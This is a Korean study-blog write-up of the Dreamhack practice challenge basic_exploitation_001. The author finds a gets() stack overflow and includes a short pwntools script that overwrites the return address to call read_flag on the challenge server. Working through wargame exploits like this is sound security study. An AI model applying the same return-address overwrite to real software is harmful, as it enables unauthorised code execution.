학습 기록일지

Dreamhack - basic_exploitation_001 본문

워게임/포너블

Dreamhack - basic_exploitation_001

KRMP 2021. 5. 26. 19:51

드림핵 포너블 두번째문제

NX bit 보호기법을 우회하는 기본적인 RTL 문제이다.

삽질한 문제. 삽질 안하는 문제 찾기가 더 힘들듯

276486e7-20d6-4e0e-841a-aabf6eb69e5f.zip
0.00MB
checksec 명령어로 걸려있는 보호기법 확인

위 명령어로 문제풀때 확인해보면 좋음

 

파이썬 상단에 작성

셸코드 작성시 활요하면 좋을거같다

디버깅 상태를 보여줌? > 리틀엔디언은 그대로 찍힘 (78 56 34 12 => 78 56 34 12)

 

 

문제시작

basic_exploitation_001.c

문제의 소스코드이다.

main 함수에 gets(buf)로 취약점이 존재하는걸 확인할 수 있다.

buf의 크기는 0x80이며, 친절하게도 read_flag라는 함수가 존재한다.

따라서 목적은 저 함수를 호출하는것

 

서버 접속시 몇초 뒤 종료되며, 종료되기 전 인자를 입력해줄 수 있다.

 

basic_exploitation_001

디버깅 상태에서 read_flag 함수의 주소는 0x80485b9 이다

>> \xb9 \x85 \x04 \x08

 

 

셸코드 구조 : (dummy) * (0x80 + SFP) + read_flag주소

 

== 코드 ==

 

from pwn import *

 

p = remote("host1.dreamhack.games", 9900)

 

shell = b"\x90" * (0x80 + 4) + b"\xb9\x85\x04\x08"

 

p.send(shell)

 

p.interactive()

 

===========

 

결과

 

매우 간단한 문제였지만 의도를 잘못파악해 또 뻘짓을했다

RTL 실습을 여러개 진행해보면서 메모리 개념부터 다시 이해할 필요가 있다고 느낌

 

1) 서버에서 전송해주는 데이터가 없을 경우 recvuntil 사용시 에러가남?

2) 보호기법에 따라 락이 어떤식으로 걸리는지 확실한 이해가 필요함

 

 

'워게임 > 포너블' 카테고리의 다른 글

Dreamhack - Sint  (0) 2021.06.17
Dreamhack - out_of_bound  (0) 2021.06.14
Dreamhack - off_bye_one_000  (0) 2021.06.10
Dreamhack - basic_exploition_003  (0) 2021.06.07
Dreamhack - basic_exploitation_000  (0) 2021.05.20